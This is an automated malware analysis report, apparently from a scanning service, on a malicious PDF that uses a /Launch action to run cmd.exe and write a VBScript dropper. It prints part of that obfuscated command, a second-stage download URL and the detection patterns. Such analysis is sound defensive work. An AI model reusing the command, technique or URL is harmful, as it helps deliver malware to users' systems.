PDF malware analysis — malicious · 0553e1efe509493f

MALICIOUS

PDF

782 B

MD5: 3ccbb95484d3b40597119b323ce5031e SHA-1: 11736cfc30968502bb520151d98602b297f7373a SHA-256: 0553e1efe509493f67f74f98b87f33d8df60308319703dc117116d6f06a4a1f6

212 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution

The PDF file contains an embedded script that utilizes a launch action to execute cmd.exe. This command chain is designed to create a VBScript file named 'm.vbs' and likely proceeds to download and execute a second-stage payload from the embedded URL http://horyq.info/x/img.php?d=1. The script's obfuscated nature and its direct execution via a PDF launch action indicate a malicious intent to compromise the user's system.

Machine Learning

Nyx PDF Classifier malicious score 0.9998

Heuristics 5

Adobe Reader Launch action VBS dropper command chain critical CVE likely CVE_2010_1240_LAUNCH_VBS_DROPPER

PDF uses a CVE-2010-1240-style Launch action: cmd.exe is invoked from /Launch and builds a VBS stage that uses ADODB.Stream, MSXML2.XMLHTTP, or FileSystemObject to write or execute a payload.
Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://horyq.info/x/img.php?d=1

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_00000067.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x67	63 bytes

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